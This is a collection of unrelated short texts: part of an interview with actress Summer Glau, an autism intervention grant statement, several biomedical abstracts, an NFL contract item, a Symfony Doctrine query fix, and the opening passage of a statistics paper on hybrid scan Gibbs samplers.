lifestyle—not just a job. ", "You\nhave to completely give yourself over to it.", "\n\nWhen I was 19, it was a turning point for\nme—I was in so much pain every day, and I came into L.A. for the summer,\nand I had a friend who was dancing at the theater, and I thought, \"Well, I can\nstill dance—I just can't put on my shoes, I can't wear my pointe shoes\nall day long. ", "So I came out here thinking it would be a getaway for the summer,\nand I ended up auditioning for jobs and booking them right away. ", "I still\ndanced. ", "I danced tango for a year until I got some acting work. ", "And then that was\nit. ", "It was the right fit for me. ", "I moved my things out here and went for it.", "\n\nAVC: Do you keep up on ballet at all?", "\n\nSG: I still dance. ", "I still dance, probably three times\na week, unless I'm working on a crazy job, and then I just don't have any free\ntime at all. ", "Right now, I definitely dance. ", "I don't do ballet, because for me,\nit's kind of hard to look at myself dancing when I don't do it all day long,\nevery day. ", "There's this certain caliber of dancing I was striving for when I\nwas younger, and it's very hard for me to go back and just do it for fun. ", "But I\ntake all other kinds of classes: I take jazz classes, modern classes, and I\nlove doing that instead of going to the gym. ", "The gym is not very much fun.", "\n\nAVC: You worked in commercials, but your\none-shot on Angel was your first actual TV role, wasn't it?", "\n\nSG: It was. ", "It's so funny, too. ", "I was out of town, I\nmissed the dance audition; Joss had actually held the dance audition first,\nbefore the acting audition. ", "He wanted a dancer, but I missed it. ", "I'm a good ballet\ndancer, and I would have done well in the audition, but I missed it! ", "And then I\nwent in and read for him, and it was the biggest audition I ever had—and\nI thought he didn't like me. ", "I thought he was making fun of me, and when I left\nthe room, I said to myself, \"Well, that's someone I'll never see again.\" ", "And\nthen he ended up casting me without seeing me dance, and the choreographer\npanicked. ", "I had to dance Giselle, and that's a role I didn't even get to dance in\nreal life. ", "It's one of the most elaborate in classical ballet, and he just told\nme, \"Well, I just hope you don't have wooden legs.\" ", "Sure enough, it all worked\nout. ", "I did it, and the choreographer was relieved that I was a true ballet\ndancer. ", "That was my first experience. ", "Joss gave me my first guest-star on a TV\nshow, he gave me my first series regular on a TV show, and he gave me my first\nlead in a film.", "\n\nAVC: What was the transition like when he cast\nyou as River Tam? ", "Did you have to audition and win him over again, or was it\neasier than that?", "\n\nSG: It wasn't originally his idea to cast me in the\nrole, but I ended up going in for a work-study session with him where I read\nfor him and his casting director, before I went in to meet with the producers.", "\nI was terrified. ", "But when I read those lines for River, I knew how I wanted to\nread it, I know how I wanted to do it. ", "I went in, shaking like a leaf, and did\nit. ", "I remember Amy Britt, his casting director, looked at me and said, \"Well\nthat's how you do that.\" ", "And Joss said, \"Yeah. ", "That's how you should do it.\"", "\nThat was my first test ever with the studio. ", "I'd never done anything like that\nbefore. ", "It took them a long time to give me the role. ", "I had to wait for a few\nweeks. ", "They weren't concerned with my role so much as they were with the other\ncharacters, and they wanted to cast those other characters before me. ", "So I\nwaited and waited. ", "It was agony. ", "Finally, I was sitting on the floor of my\nlittle apartment, sitting there in the quiet, and my phone rang. ", "It was Joss\ntelling me that I was the girl. ", "That's what he said. ", "That was probably the\nbiggest turning point in my life so far. ", "To be making money for the first time\nin my life. ", "To go from being a dancer to actually being on a TV show, where I\nwas going to be on every week. ", "It was just one of the biggest moments ever.", "\n\nAVC: How much did you actually know about River\nwhen the show started?", "\n\nSG: Very little. ", "We didn't even get a script. ", "We got\na treatment that told us the basic storyline and the basic characters. ", "I had\none scene—I kept the scene, I still have it in my file, the scene I\nauditioned with—and that's all I ever knew. ", "It took a long time for us to\nget a script. ", "But it's just one of those cases where I felt connected to River\nTam, and I knew how I wanted to play the role.", "\n\nAVC: How does that compare with how much you\nknew about Cameron going into Terminator, or how much you knew\nabout Crystal going into The Unit?", "\n\nSG: Well Crystal was a big surprise, because they\nthrew me for a loop with her. ", "I had an idea who I thought she was, and when\nthey gave me the concept to play the role, she was a very different character.", "\nThen, over time, they kept taking me on these twists and turns—I loved\nplaying that role. ", "Loved being Crystal. ", "It was so much fun to be bad, even\nthough my boyfriend in real life was my boyfriend on the show. ", "It was so hard\nto treat him so badly on TV.", "\n\nBut as far as playing Cameron, I was stumped on\nthat one. ", "I went in and told Josh, \"I don't know, I have played such vulnerable\nand emotional characters up until now. ", "That's what I'm comfortable with. ", "I\ndon't know how I'm going to play a robot and make people care about her, and\nfor me as an actress to connect to her.\" ", "So it was really a team effort. ", "Josh\nhad such great concepts for who he wanted Cameron to be. ", "And then after he had\nthe basic story and wrote the pilot episode, the writers as a team helped me\ndecide who she is, and the fine line between the mystery of how much she really\nfeels, and how much she is just a Terminator. ", "And we're still shaping it,\nbecause we're in the very beginning; she's definitely changing every day. ", "She's\nlike a child, in that she absorbs everything around her, and she can really\ntake on the personalities she observes.", "\n\nAVC: All those roles, and your role in The\n4400\nas well, are people who start off in one place go through a bunch of twists,\nand become someone else. ", "How do you go about making a character consistent\nthrough that?", "\n\nSG: Well, I put a lot of faith in the people around\nme. ", "I'm definitely one of those actresses who comes to a set knowing how I want\nto do a scene, and I definitely love input from my directors and my writers. ", "I\nknow that there's some actors who like to be left alone, they like to be very\nindependent, but I actually really enjoy the teamwork. ", "I've been very lucky in\nmy career, that I've been given these opportunities to do huge story arcs with\nmy characters. ", "Like in 4400, where I started off in one place and ended up in\na completely different place. ", "It's great as an actress when you get those\nopportunities. ", "But basically, it's coming and being mature about the individual\nright in front of you, and having an open heart, and being able to listen to\nthe people right around you.", "\n\nAVC: When you started on The 4400, your character was a\nlot like River, spacey and disconnected and tuned into another reality. ", "Now\nyou're playing this detached, mostly emotionless killer-cyborg girl. ", "Do you\nworry about getting typecast in the weird-girl role?", "\n\nSG: Yes, but what I worry about more is people\nfiguring out I'm not a very good actress, and that I cannot make my characters\ndifferent. ", "So when Tess first came into play [on The 4400], I called Joss and said,\n\"Please don't watch this, because you might think that I'm a hack—I\ncannot make her different from River.\" ", "He called me after my first episode as\nTess, and told me that he approved of the good job of making them different.", "\nAnd with Cameron, people ask me, \"Do you think there are similarities between\nRiver and Cameron?\" ", "And I have to say, \"Well I guess I'm good at playing these\nisolated characters.\" ", "It's so much true to life, because I grew up not going to\nschool, I didn't have fun at my own age because I was dancing, since I was\ntrying to be a professional as a young girl. ", "I did have a hard time relating to\nkids my age. ", "I remember if I ever had to be in with school kids, I would get\nvery nervous. ", "I didn't know the right way to communicate with them. ", "I think I\njust have a connection with girls like River and Cameron and Tess.", "\n\nAVC: Was that kind of isolation and\nprofessionalism as a child your choice? ", "Did you have a stage-mom type pushing\nyou to those kinds of extremes?", "\n\nSG: To me, there was no other option. ", "I wanted it\nwith all my heart, and I honestly thought my identity was being a dancer. ", "It\nwas very hard for me to look at myself outside of that. ", "And when I decided to\nquit, it was completely up to me. ", "I will say, when my parents drove me out to\nL.A., I begged them to take me back home. ", "I've always had really bad anxiety,\nand it wasn't until I stayed here that I grew out of that. ", "But my parents had\nto say, \"Honey, you can do this. ", "We believe in you.\" ", "They told me to stay and\nrelax, and it all worked out. ", "They have always been supportive of me, no matter\nwhat I wanted to do. ", "I remember my mom, she used to work for my ballet company.", "\nShe worked in the wardrobe department, she used to go with me to my ballet\ncamps, because I was so shy and I had a hard time going alone. ", "She used to go\nand stay with me so that I could train with other teachers. ", "They're a huge part\nof why I am where I am.", "\n\nAVC: If you worry about people thinking you're\na hack because your characters are too similar, what would you like to do to\nshow them your range? ", "What's your dream role?", "\n\nSG: When I envisioned myself as an actress as a\nlittle girl, I wanted to do period films. ", "My favorite actress is Juliette\nBinoche. ", "I used to watch her movies over and over and over again. ", "I always\nwanted to be in very romantic roles. ", "That's something that I still haven't\ngotten around to. ", "It is a concern now that I've been playing so many roles like\nCameron and River. ", "I do want to do something completely different. ", "I want to do\na Western, being a Texan, and growing up around that. ", "Something really dear to\nmy heart. ", "I have to say my favorite movie of the year is 3:10 To Yuma. ", "Have you seen it? [", "Sighs.]", "\nLove that movie. ", "So those are my two goals, and when I get around to them,\nthat's great. ", "I couldn't have asked for more opportunities in my career so far,\nso I'm totally happy playing Cameron. ", "But I keep myself open to the possibility\nof seeing those goals realized too." ]

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[ "A significant global challenge is to develop scalable, feasible, early interventions for autism spectrum disorders (ASD) that can be implemented in diverse and low resource communities. ", "There is growing excitement around innovative caregiver-mediated early intervention strategies, for example the Parent Early Start Denver Model (P-ESDM) co-developed by Dr. Geraldine Dawson, my primary advisor on this application. ", "Caregiver-mediated interventions have been shown to improve parent-child interactions and child language comprehension, and reduce the severity of ASD. ", "Importantly, engagement of caregivers promises new ways to address the capacity barrier globally. ", "My planned research career trajectory is to become a leader in the development and implementation of caregiver-mediated interventions for ASD and other childhood neuropsychiatric disorders in diverse and low resource communities. ", "The highly structured mentorship and training plan outlined in this proposal would set the foundation for achieving this goal. ", "Importantly, this work is closely aligned with 2 of the top Grand Challenges in Global Mental Health priorities: 1) to reduce the duration of untreated illness by developing culturally-sensitive early interventions, and 2) to improve child access to evidence-based mental health care (11). ", "In addition, this work aligns with an objective of the Federal Interagency Autism Coordinating Committee Strategic Plan: to support community-based studies that assess the effectiveness of interventions and services in broader community settings including scalable early intervention programs for implementation in underserved, low-resource, and low-literacy populations (12). ", "I plan to: 1) train in implementation science and community participatory research, 2) train in clinical research and research ethics, and 3) obtain hands-on experience by conducting an ASD intervention trial using a culturally adapted version of the original evidence-based intervention in a low resource African setting. ", "I have brought together an outstanding team of advisors with expertise in ASD (Dr. Dawson (Duke), Dr. de Vries (University of Cape Town), Dr. Rogers (UC Davis Mind Institute)), global health (Dr. de Vries, Dr. Sikkema (Duke)), child psychiatry (Dr. Egger (Duke), Dr. de Vries), intervention research (Dr. Dawson, Dr. Rogers, Dr. Sikkema), and community participatory research (Dr. Sikkema). ", "Working in collaboration with the Center for Autism Research in Africa, I propose to adapt the Parent Early Start Denver Model (P-ESDM) treatment manual, and training approach, and conduct a pilot study to explore the acceptability, feasibility, and impact of this adapted intervention on child and caregiver outcomes in an African setting. ", "In addition, I will capitalize on existing research infrastructure supported by the NIMH through the University of Cape Town AFFIRM Hub (see Lund letter of support). ", "The foundational mentorship, training and experience gained through this award will set the stage for a career focused on enhancing the quality of life for children wih neurodevelopmental disorders and equip me with the skillset to become an independent clinical researcher." ]

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[ "Maneuvering in the complex path from genotype to phenotype.", "\nHuman disease phenotypes are controlled not only by genes but by lawful self-organizing networks that display system-wide dynamics. ", "These networks range from metabolic pathways to signaling pathways that regulate hormone action. ", "When perturbed, networks alter their output of matter and energy which, depending on the environmental context, can produce either a pathological or a normal phenotype. ", "Study of the dynamics of these networks by approaches such as metabolic control analysis may provide new insights into the pathogenesis and treatment of complex diseases." ]

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[ "Enhancement of alpha- and beta-galactosidase activity in Lactobacillus reuteri by different metal ions.", "\nThe hydrolysis of oligosaccharides and lactose is of great importance to the food industry. ", "Normally, oligosaccharides like raffinose, stachyose, and verbascose which are rich in different plants like soy bean are considered indigestible by the human gut. ", "Moreover, many humans suffer from lactose intolerance due to the absence of effective enzyme that can digest lactose. ", "alpha-Galactosidase can digest oligosaccharides like raffinose, while beta-galactosidases can hydrolyze lactose. ", "Therefore, selection of microorganisms safe for human use and capable of producing high levels of enzymes becomes an attractive task. ", "The objective of this study was to investigate the enhancement of alpha- and beta-galactosidase activity in Lactobacillus reuteri by different metal ions. ", "Ten millimolar of Na(+), K(+), Fe(2+), and Mg(2+) and 1 mM of Mn(2+) were added separately to the growth culture of six strains of L. reuteri (CF2-7F, DSM20016, MF14-C, MM2-3, MM7, and SD2112). ", "Results showed that L. reuteri CF2-7F had the highest alpha- and beta-galactosidase activity when grown in the medium with added Mn(2+) ions (22.7 and 19.3 Gal U/ml, respectively). ", "0.0274% of Mn(2+) ions lead to 27, 18% enhancement of alpha- and beta-galactosidase activity over the control group, and therefore, it could be added to the growth culture of CF2-7F to produce enhanced levels of alpha- and beta-galactosidase activity. ", "The addition of Fe(2+) led to a significant (P < 0.01) decrease in the activity of both enzymes for most strains. ", "This study shows that modified culture medium with that 0.0274% Mn(2+) can be used to promote the production for alpha- and beta-galactosidase in L. reuteri CF2-7F, which may lead to enhancement of alpha- and beta-galactosidase activity and have a good potential to be used in the food industry." ]

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[ "The Cowboys have restructured the contract of All-Pro linebacker Sean Lee, creating a little more than $5 million in room with the free-agent market set to open Thursday, according to sources. ", "The move bumps the Cowboys' cap space up to close to $9 million. ", "It is the third restructure the Cowboys have done in the last few weeks, joining Tyron Smith and Travis Frederick." ]

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[ "[Deep lupus erythematosus in children].", "\nDeep cutaneous lesions are seldom encountered in lupus erythematosus. ", "The disease described in the literature as lupus erythematosus profundus or lupus erythematosus panniculitis usually occurs in middle-aged women. ", "The authors report a case of deep lupus erythematosus which was exceptional in that it occurred in an 11-year old girl. ", "The lesions were situated on the face and consisted of solid subcutaneous nodules and clear-cut ulcerations leaving atrophic pigmented scars. ", "The histological image of a nodule was one of lobular lymphocytic panniculitis with homogeneous hyalinization of adipose nodules, to which must be added periadnexal and perivascular dermo-epidermal lymphocytic infiltrates. ", "Granular IgM deposits arranged along the dermo-epidermal junction were observed at direct cutaneous immunofluorescence. ", "Laboratory examinations showed leucopenia (3,300/mm3) with neutropenia (1,100/mm3) and the presence of antinuclear antibodies at 1/100 speckled fluorescence, as well as antibodies directed against native DNA. ", "Studies of renal function and for complement gave normal results. ", "The other causes of lobular panniculitis were excluded. ", "The lesions regressed within 3 weeks under hydroxychloroquine; this drug was also successful in arresting a relapse consecutive to withdrawal of treatment. ", "The authors have analysed the 17 paediatric cases of deep lupus erythematosus and were able to determine their main characteristics: 1. ", "The lesions occur mostly in girls (70 p. 100). ", "They are located electively on the face and the lateral aspect of the shoulders. ", "They consist of well-limited, solid or hard subcutaneous nodule which may congregate to form plaques. ", "The epidermis may be normal or pathological, poikilodermic, looking like a discoid or ulcerated lupus erythematosus. ", "The lesions regress, leaving a characteristic atrophic scar.(ABSTRACT TRUNCATED AT 250 WORDS)" ]

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[ "Chronic Methamphetamine Exposure Attenuates Neural Activation in Hypothalamic-Pituitary-Adrenal Axis-Associated Brain Regions in a Sex-specific Manner.", "\nSex differences in methamphetamine (MA) abuse and consequences of MA have been reported with females showing an increased addiction phenotype and withdrawal symptoms. ", "One mechanism through which these effects might occur is via sex-specific alterations in the hypothalamic-pituitary-adrenal (HPA) axis and its associated brain regions. ", "In this study, mice were administered MA (5 mg/kg) or saline for 10 consecutive days. ", "During early withdrawal, anxiety-like behaviors were assessed in the open field, light/dark box, and elevated plus maze. ", "At ten days of withdrawal, mice were injected with a final dose of MA (5 mg/kg) or saline. ", "Chronic MA did not alter anxiety-like behaviors or corticosterone responses to a final dose of MA, although females showed elevated corticosterone responses compared to males. ", "Chronic MA attenuated final MA-induced c-Fos in both sexes in the paraventricular hypothalamus (PVH), bed nucleus of the stria terminalis (BNST), cingulate cortex, central and basolateral amygdala. ", "In CA1 and CA3 hippocampal areas, c-Fos attenuation by chronic MA occurred only in females. ", "Within the PVH, final MA injection increased c-Fos to a greater extent in females compared to males regardless of prior MA exposure. ", "Dual-labeling of c-Fos with glucocorticoid receptor revealed a specific attenuation of neural activation within this cell type in the PVH, central and basolateral amygdala, and BNST. ", "Together these findings demonstrate that chronic MA can suppress subsequent activation of HPA axis-associated brain regions and cell phenotypes. ", "Further, in select regions this reduction is sex-specific. ", "These changes may contribute to reported sex differences in MA abuse patterns." ]

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[ "Q:\n\nSemantical Error Class 'Blog' is not defined Symfony 4\n\nI have this code :\n \n\nnamespace App\\Controller;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse App\\Entity\\Blog;\n\nuse Symfony\\Component\\Routing\\Annotation\\Route;\nuse Symfony\\Bundle\\FrameworkBundle\\Controller\\Controller;\nuse Doctrine\\ORM\\Tools\\Pagination\\Paginator;\n\nclass BlogController extends Controller\n{\n /**\n * @Route(\"/blog\", name=\"blog\")\n */\n public function index()\n { \n $entityManager=$this->getDoctrine()->getManager();\n\n $blog = $this->getDoctrine()->getRepository(Blog::class);\n $dql = \"SELECT id, name FROM Blog\";\n $query = $entityManager->createQuery($dql)\n ->setFirstResult(0)\n ->setMaxResults(100);\n\n $paginator = new Paginator($query, $fetchJoinCollection = true);\n\n $c = count($paginator);\n foreach ($paginator as $post) {\n echo $post->getHeadline() . \"", "\\n\";\n }\n\n return $this->render('blog/index.html.twig', [\n 'controller_name' => 'BlogController',\n 'blog' =>$blog,\n ]);\n }\n}\n\nBut when i run it it gives me \n\n[Semantical Error] line 0, col 22 near 'Blog': Error: Class 'Blog' is\n not defined.", "\n I also tried put \n\n $dql = \"SELECT id, name FROM App\\Entity\\Blog:Blog\";\n\nBut in this way it gives me \n\n[Syntax Error] line 0, col 37: Error: Expected\n Doctrine\\ORM\\Query\\Lexer::T_IDENTIFIER, got ':Blog'\n\nI dont know what to do. ", "Please help me\n\nA:\n\nThe correct DQL query should look something like this:\nSELECT blog.id, blog.name FROM App\\Entity\\Blog blog\n\nThe DQL documentation should help you from there.", "\n\n" ]

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[ "---\nabstract: 'Gibbs sampling is a widely popular Markov chain Monte Carlo algorithm that can be used to analyze intractable posterior distributions associated with Bayesian hierarchical models. ", "There are two standard versions of the Gibbs sampler: The systematic scan (SS) version, where all variables are updated at each iteration, and the random scan (RS) version, where a single, randomly selected variable is updated at each iteration. ", "The literature comparing the theoretical properties of SS and RS Gibbs samplers is reviewed, and an alternative *hybrid scan* Gibbs sampler is introduced, which is particularly well suited to Bayesian models with latent variables. ", "The word “hybrid” reflects the fact that the scan used within this algorithm has both systematic and random elements. ", "Indeed, at each iteration, one updates the entire set of latent variables, along with a randomly chosen block of the remaining variables. ", "The hybrid scan (HS) Gibbs sampler has important advantages over the two standard scan Gibbs samplers. ", "Firstly, the HS algorithm is often easier to analyze from a theoretical standpoint. ", "In particular, it can be much easier to establish the geometric ergodicity of a HS Gibbs Markov chain than to do the same for the corresponding SS and RS versions. ", "Secondly, the sandwich methodology developed in @hobert2008theoretical, which is also reviewed, can be applied to the HS Gibbs algorithm (but not to the standard scan Gibbs samplers). ", "It is shown that, under weak regularity conditions, adding sandwich steps to the HS Gibbs sampler always results in a theoretically superior algorithm. ", "Three specific Bayesian hierarchical models of varying complexity are used to illustrate the results. ", "One is a simple location-scale model for data from the Student’s $t$ distribution, which is used as a pedagogical tool. ", "The other two are sophisticated, yet practical Bayesian regression models.'", "\nauthor:\n- Grant Backlund\n- 'James P. Hobert'\n- Yeun Ji Jung\n- Kshitij Khare\nbibliography:\n- 'hybrid.bib'\ndate: December 2019\ntitle: |\n A Hybrid Scan Gibbs Sampler for Bayesian Models\\\n with Latent Variables\n---\n\nIntroduction {#sec:intro}\n============\n\nLet $f_U : \\mathsf{U} \\to [0,\\infty)$ be an intractable target density, and suppose that $f : \\mathsf{U} \\times \\mathsf{Z} \\to [0,\\infty)$ is a joint density whose $u$-marginal is the target, i.e., $\\int_{\\mathsf{Z}} f(u,z) \\, dz = f_U(u).$ Think of $U$ as the parameters in a Bayesian model, and $Z$ as latent data. ", "If straightforward sampling from the associated conditional densities is possible, then we can use the data augmentation (DA) algorithm to explore $f_U.$ Of course, running the algorithm entails alternating between draws from $f_{Z | U}$ and $f_{U | Z},$ which simulates the Markov chain whose Markov transition density (Mtd) is $$k_{\\text{DA}} (u' | u) = \\int_{\\mathsf{Z}} f_{U | Z} (u'\n| z) f_{Z|U}(z | u) \\, dz \\;.$$ It’s easy to see that $k_{\\text{DA}} (u' | u) f_U(u)$ is symmetric in $(u, u'),$ so the DA Markov chain is reversible with respect to $f_U$.\n\nTo fix ideas, we introduce a simple example. ", "Let $W_1, \\ldots, W_m$ be a random sample from the location-scale Student’s $t$ distribution with known degrees of freedom, $\\nu > 0$, and consider a Bayesian model with prior density given by $\\pi(\\mu,\\sigma^2) \\propto \\sigma^{-2} I_{\\mathbb{R}_+}(\\sigma^2)$, where $\\reals_+ := (0,\\infty)$. This is a standard diffuse prior for location-scale problems. ", "We assume throughout that $m \\geq 2$, which is necessary and sufficient for posterior propriety. ", "The resulting posterior density is an intractable bivariate density characterized by $$\\label{eq:toyposterior}\n f_U(\\mu, \\sigma^2) \\propto (\\sigma^2)^{- \\frac{m+2}{2}}\n \\prod_{i=1}^m \\left( 1 + \\frac{(w_i - \\mu)^2}{\\nu \\sigma^2}\n \\right)^{-(\\nu + 1)/2} I_{\\mathbb{R}^+}(\\sigma^2) \\;.$$ So here the role of $U$ is being played by $(\\mu,\\sigma^2)$, and, in order to keep the notation consistent, we are suppressing the dependence on the data, $w = (w_1,\\ldots,w_m)$. There is a simple DA algorithm for this problem that is based on the standard representation of a Student’s $t$ variate in terms of normal and $\\chi^2$ variates. ", "Conditional on $(\\mu,\\sigma^2)$, let $(W_1,Z_1),\\ldots,(W_m,Z_m)$ be independent and identically distributed (iid) pairs such that, for $i=1,\\ldots,m$, $$\\begin{aligned}\n& W_i | Z_i , \\mu , \\sigma^2 \\sim \\text{N}(\\mu, \\sigma^2 / z_i) \\\\ &\n Z_i |\\mu, \\sigma^2 \\sim \\text{Gamma}(\\nu / 2, \\nu / 2) \\;.\\end{aligned}$$ Letting $z = (z_1,\\ldots,z_m) \\in \\reals^m_+$, the joint density of $\\{ (W_i,Z_i) \\}_{i=1}^m$ is given by $$p(w,z | \\mu, \\sigma^2) = \\prod_{i=1}^m \\frac{\\sqrt{z_i}}{\\sqrt{2 \\pi\n \\sigma^2}} \\exp \\left\\lbrace -\\frac{z_i}{2 \\sigma^2} (w_i - \\mu)^2\n\\right\\rbrace \\frac{\\left( \\frac{\\nu}{2}\n \\right)^{\\frac{\\nu}{2}}}{\\Gamma \\left( \\frac{\\nu}{2} \\right)}\nz_i^{\\frac{\\nu}{2} - 1} \\exp \\left\\lbrace - \\frac{\\nu z_i}{2}\n\\right\\rbrace I_{\\mathbb{R}^+}(z_i)\\;.$$ Now define $f(\\mu,\\sigma^2,z) \\propto p(w,z | \\mu, \\sigma^2)\n\\pi(\\mu,\\sigma^2)$. Then it’s easy to see that $$\\int_{\\reals^m_+} f(\\mu,\\sigma^2,z) \\, dz = f_U(\\mu, \\sigma^2) \\;,$$ so $z$ is indeed latent data. ", "It is straightforward to sample from $f_{Z|U}(z|\\mu,\\sigma^2)$ since the $Z_i$ are conditionally independent, each with a gamma distribution. ", "It’s also easy to sample from $f_{U|Z}(\\mu,\\sigma^2|z)$ (sequentially) because both $f_{\\sigma^2|Z}(\\sigma^2|z)$ and $f_{\\mu|\\sigma^2,Z}(\\mu|\\sigma^2,z)$ have simple forms [see, e.g., @hobert2011handbook Section 10.1]. ", "We will return to this simple example several times in order to illustrate certain ideas without having to wade through the heavy notation associated with a more sophisticated model. ", "Now back to the general case.", "\n\nThere are many situations in which useful latent data exist, but the DA algorithm is not directly applicable. ", "Specifically, it is often the case that it *is* possible to draw from $f_{Z|U},$ but it is not possible to draw from $f_{U|Z}.$ On the other hand, in such cases, one can sometimes break $u$ into two pieces, $u = (x,y)$, where $x \\in \\mathsf{X}, y \\in \\mathsf{Y}, \\mathsf{U} = \\mathsf{X} \\times\n\\mathsf{Y},$ in such a way that one is able to draw from $f_{X|Y,Z}$ and from $f_{Y|X,Z}$. In such cases, we can run a three-block Gibbs sampler based on $f_{X|Y,Z}$, $f_{Y|X,Z}$ and $f_{Z|X,Y}$. Of course, the random scan (RS) version of this Gibbs sampler is reversible, while the systematic scan (SS) version is not.", "\n\nConsider again our simple Student’s $t$ example, and suppose we change the prior to $$\\pi^*(\\mu,\\sigma^2) \\propto \\sigma^{-2} \\exp \\Big \\{ -\\frac{1}{2} (\\mu -\n\\gamma)^2 \\Big \\} I_{\\mathbb{R}^+}(\\sigma^2) \\;,$$ where $\\gamma \\in \\mathbb{R}$ is fixed. ", "In this case, $(\\mu,\\sigma^2)$ is playing the role of $(x,y)$. Under the new prior, drawing from $(\\mu,\\sigma^2)|z$ is no longer straightforward, because the distribution of $\\sigma^2|z$ is nonstandard. ", "Hence, while the DA algorithm is still technically implementable (using, say, a rejection sampler for $\\sigma^2|z$), it is much less attractive under the new prior. ", "On the other hand, the conditional densities of $\\mu|(\\sigma^2,z)$, $\\sigma^2|(\\mu,z)$, and $z|(\\mu,\\sigma^2)$ all have standard forms, so the three-block Gibbs sampler would be easy to run.", "\n\nIn this paper, we consider an alternative to the SS and RS three-block Gibbs samplers. ", "We call it the *hybrid scan Gibbs sampler*. ", "Fix $r \\in (0,1)$ to play the role of a selection probability. ", "Consider a Markov chain $\\{(X_n,Y_n) \\}_{n=0}^{\\infty}$ with state space $\\mathsf{X} \\times \\mathsf{Y}$ that evolves as follows. ", "If the current state is $(X_n,Y_n) = (x,y),$ then we simulate the new state, $(X_{n+1},Y_{n+1}),$ using the following two-step procedure.", "\n\n[Iteration $n+1$ of the hybrid scan Gibbs sampler:]{}\n\n1. ", " Draw $Z \\sim f_{Z|X,Y}(\\cdot|x,y),$ call the result $z,$ and, independently, draw $W \\sim \\text{Uniform}(0,1).$\n\n2. ", " 1. ", " If $W \\le r$, draw $X^* \\sim f_{X|Y,Z}(\\cdot|y,z),$ and set $(X_{n+1},Y_{n+1}) = (X^*,y)$.\n\n 2. ", " Otherwise, draw $Y^* \\sim f_{Y|X,Z}(\\cdot|x,z),$ and set $(X_{n+1},Y_{n+1}) = (x,Y^*)$.\n\nA standard SS Gibbs sampler based on $f_{X|Y,Z}$, $f_{Y|X,Z}$ and $f_{Z|X,Y}$ updates all three components (in the same prespecified order) at each iteration. ", "To run the RS version, we first fix three selection probabilities $r_1, r_2, r_3 \\in (0,1)$ such that $r_1+r_2+r_3=1$. Then, at each iteration, we draw from exactly one of the three full conditionals according to the probabilities $r_1$, $r_2$ and $r_3$, and leave the remaining two components fixed. ", "So hybrid scan (HS) Gibbs can be viewed as a compromise between these standard Gibbs samplers in the sense that, at each iteration of HS Gibbs, exactly two of the three full conditionals are sampled. ", "The idea of including both systematic and random scan ingredients in a single Markov chain Monte Carlo (MCMC) algorithm is not new [see, e.g., @levine2005note], but we believe that this is the first concentrated study of this particular algorithm.", "\n\nThe reader will note that we have yet to demonstrate that the HS Gibbs sampler is actually valid. ", "In fact, it follows directly from one of the general results in Appendix \\[app:theory\\] (Proposition 1) that the Markov chain associated with HS Gibbs is reversible with respect to $f_{X,Y}(x,y)$ for any $r \\in (0,1)$, which implies that the algorithm is valid. ", "Proposition 1 is rather technical, and its proof is based on operator theory. ", "Fortunately, there is a much simpler way to establish the desired reversibility. ", "Indeed, we now show that HS Gibbs is equivalent to a RS, variable-at-a-time Metropolis-Hastings (MH) algorithm (in which every proposal is accepted). ", "It then follows immediately from basic MCMC theory that the Markov chain associated with HS Gibbs is reversible with respect to $f_{X,Y}(x,y)$ [see, e.g., @geyer2011handbook]. ", "First, it’s clear by inspection that a single iteration of HS Gibbs can be recast as follows: Suppose the current state is $(X_n,Y_n) = (x,y)$. Flip an “$r$-coin.” ", "If the coin comes up heads, then set $(X_{n+1},Y_{n+1}) = (X',y)$, where $X'$ is drawn from the density $$c_1(x'|x;y) = \\int_{{{\\mathsf{Z}}}} f_{X|Y,Z}(x'|y,z) f_{Z|X,Y}(z|x,y) dz \\;.$$ If, on the other hand, the coin comes up tails, then set $(X_{n+1},Y_{n+1}) = (x,Y')$, where $Y'$ is drawn from the density $$c_2(y'|y;x) = \\int_{{{\\mathsf{Z}}}} f_{Y|X,Z}(y'|x,z) f_{Z|X,Y}(z|x,y) dz \\;.$$ Now consider a MH algorithm in which, at each iteration, with probability $r$ we (keep $y$ fixed and) perform a MH update that leaves $f_{X|Y}(\\cdot|y)$ invariant using candidate density $c_1(x'|x;y)$, and with probability $1-r$ we (keep $x$ fixed and) perform a MH update that leaves $f_{Y|X}(\\cdot|x)$ invariant using candidate density $c_2(y'|y;x)$. The Hastings ratio for the update that leaves $f_{X|Y}(\\cdot|y)$ invariant is given by $$r(x,x') = \\frac{f_{X|Y}(x'|y) c_1(x|x';y)}{f_{X|Y}(x|y) c_1(x'|x;y)}\n\\;.$$ The numerator of $r(x,x')$ can be written as $$\\frac{1}{f_Y(y)} f_{X,Y}(x',y) \\int_{{{\\mathsf{Z}}}} f_{X|Y,Z}(x|y,z)\nf_{Z|X,Y}(z|x',y) dz = \\frac{1}{f_Y(y)} \\int_{{{\\mathsf{Z}}}} \\frac{f(x,y,z)\n f(x',y,z)}{f_{Y,Z}(y,z)} dz \\;,$$ which is clearly a symmetric function of $(x,x')$. Hence, $r(x,x')\n\\equiv 1$, so the candidate is never rejected. ", "A similar argument shows that, for fixed $x$, the MH update for $f_{Y|X}(\\cdot|x)$ using candidate density $c_2(y'|y;x)$ also never rejects. ", "Therefore, the HS Gibbs sampler is, in fact, a RS, variable-at-a-time Metropolis-Hastings (MH) algorithm, and reversibility follows.", "\n\nAs mentioned above, the HS algorithm can be viewed as a compromise between SS and RS Gibbs. ", "Now, if it were known that one of the standard scans always produces a superior Gibbs sampler, then it might not make sense to consider such a compromise. ", "However, as we now explain, this is far from being the case. ", "There are two standard criteria for comparing MCMC algorithms. ", "The first is based on the convergence rates of the underlying Markov chains, and the second is based on the asymptotic variances of ergodic averages. (", "Appendix \\[app:theory\\] contains some general theory on this topic for reversible chains.) ", "It is known that neither of the standard scan Gibbs samplers dominates the other in terms of convergence rate. ", "Indeed, there are examples in the literature of SS Gibbs samplers that converge faster than their RS counterparts, and others where the opposite is true [see, e.g., @roberts2015surprising; @robe:sahu:1997; @he:desa:mitl:re:2016]. ", "On the other hand, there is some general theory suggesting that the SS Gibbs sampler is better when the criterion is asymptotic variance, but these results are rather limited in scope. ", "For example, @greenwood1998information show that the asymptotic variance under the RS algorithm is no more than twice that under the SS algorithm, and @andrieu2016random proves that, when the Gibbs sampler has exactly two blocks, the SS algorithm is always better. (", "See also @maire2014comparison, @liu1995covariance and @latuszynski2013adaptive.) ", "So, based on what is currently known, there is no clear cut winner between the SS and RS versions of the Gibbs sampler when there are more than two blocks.", "\n\nThe HS Gibbs sampler has important advantages over the two standard scan Gibbs samplers. ", "Firstly, it can be much easier to establish the geometric ergodicity of a HS 